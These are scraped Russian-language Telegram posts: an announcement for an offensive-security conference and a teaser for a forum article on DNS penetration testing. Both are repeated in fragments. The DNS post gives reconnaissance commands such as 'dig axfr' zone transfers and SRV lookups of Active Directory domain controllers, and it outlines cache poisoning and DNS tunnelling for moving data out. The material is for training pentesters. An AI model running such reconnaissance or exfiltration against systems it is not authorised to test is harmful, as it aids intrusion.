▶️ захват кассовых аппаратов
▶️ снова Bitrix: RCE в кастомных доработках
▶️ поиск иголки в стоге сена магистральных провайдеров
▶️ «Большой брат»: захват систем видеонаблюдения
▶️ секретный доклад
Также будут доклады от партнёров конференции: Сбербанк, Xello, Mitigator, Indeed.
Активности:
Lockpicking (физический взлом замков)
RFID и NFC-эксперименты
Соревновательный OSINT
Конкурс по обходу фильтров антифишинга
И отдельный бонус для тех, кто скучал по олдскулу: демосцена и ретро-компьютинг. ZX Spectrum, Commodore 64, Commodore Amiga, Микроша, Atari, лучшие intro/demo и турнир по DOOM II.
Участие бесплатное, но регистрация обязательна!
🔗 ССЫЛКА НА РЕГИСТРАЦИЮ
Напоминаем тем, кто ещё не зарегистрировался, сейчас самое время записаться. Участие бесплатное.
22 мая в Москве пройдёт бесплатная конференция «Периметр» от компании МЕТАСКАН, где обсудят наступательную безопасность, внешний периметр, реальные находки и техники, которые работают на живой инфраструктуре.
Что в программе:
' ' протоколами при анализе сетевой инфраструктурыHuge Impact - находки на внешних периметрах, которые приводили к максимальному ущербу за прошедший год:
Также будут доклады от партнёров конференции: Сбербанк, Xello, Mitigator, Indeed.
Активности:
Lockpicking (физический взлом замков)
RFID и NFC-эксперименты
Соревновательный OSINT
Конкурс по обходу фильтров антифишинга
Участие бесплатное, но регистрация обязательна!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4👍2🔥2
Одна команда dig — и вся инфраструктура как на ладони
Представьте: вы на внутреннем пентесте банка. Запускаете
DNS — протокол, который все считают скучным. А он работает поверх UDP без шифрования и без аутентификации ответов. Из этого растут почти все атаки.
🔎 Пассивная разведка — начинай с неё, чтобы не светиться в логах цели. Certificate Transparency Logs через
🎇 Zone transfer — первое, что проверяется на engagement. Важный нюанс: проверяй каждый NS отдельно. Первичный может быть закрыт, а вторичный — legacy-BIND с дефолтной конфигурацией, где AXFR разрешён для любого IP. На практике именно вторичные NS чаще оказываются misconfigured — их просто забывают.
➡️ Когда zone transfer закрыт, переходи к словарному перебору субдоменов.
➡️ Отдельная история — внутренний пентест и Active Directory. SRV-записи для Kerberos и LDAP выдают контроллеры домена напрямую:
Но разведка — только начало. Cache poisoning строится на том, что Transaction ID в DNS — всего 16 бит. Угадай его и отправь поддельный ответ быстрее настоящего сервера — резолвер примет фальшивые данные. DNS rebinding позволяет обходить same-origin policy браузера, а DNS туннелирование — выносить данные из сетей, где заблокировано всё, кроме DNS.
В полной статье — разбор каждой техники с командами, ограничениями, привязкой к MITRE ATT&CK и decision tree по выбору инструментов. Читай на форуме Codeby⬇️
https://codeby.net/threads/dns-pentest-ot-razvedki-i-zone-transfer-do-cache-poisoning-rebinding-i-tunnelirovaniya.93673/
Представьте: вы на внутреннем пентесте банка. Запускаете
dig axfr на вторичный NS — и получаете 340+ DNS-записей за четыре минуты. Имена хостов вроде dc01-prod, jenkins-build, vault-backup — готовая карта инфраструктуры. От этого дампа до domain admin — три дня. Реальный кейс, реальная пропорция.DNS — протокол, который все считают скучным. А он работает поверх UDP без шифрования и без аутентификации ответов. Из этого растут почти все атаки.
crt.sh отдают субдомены, для которых выпускались SSL-сертификаты. Passive DNS базы вроде SecurityTrails хранят историю резолвов — субдомен, который больше не резолвится, но когда-то указывал на IP, может стать вектором subdomain takeover. subfinder от ProjectDiscovery автоматизирует сбор из десятков источников одной командой.dnsenum и dnsrecon комбинируют попытку AXFR с брутфорсом по словарю и reverse lookup. Для bug bounty с широким скоупом лучше связка amass + subfinder + dnsx с дедупликацией.dig -t SRV _ldap._tcp.dc._msdcs.domain.com. Эти записи нужны самому AD для работы — удалить их нельзя. По сути, DNS в AD — встроенный инструмент разведки для атакующего.Но разведка — только начало. Cache poisoning строится на том, что Transaction ID в DNS — всего 16 бит. Угадай его и отправь поддельный ответ быстрее настоящего сервера — резолвер примет фальшивые данные. DNS rebinding позволяет обходить same-origin policy браузера, а DNS туннелирование — выносить данные из сетей, где заблокировано всё, кроме DNS.
В полной статье — разбор каждой техники с командами, ограничениями, привязкой к MITRE ATT&CK и decision tree по выбору инструментов. Читай на форуме Codeby
https://codeby.net/threads/dns-pentest-ot-razvedki-i-zone-transfer-do-cache-poisoning-rebinding-i-tunnelirovaniya.93673/
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2👍2🔥1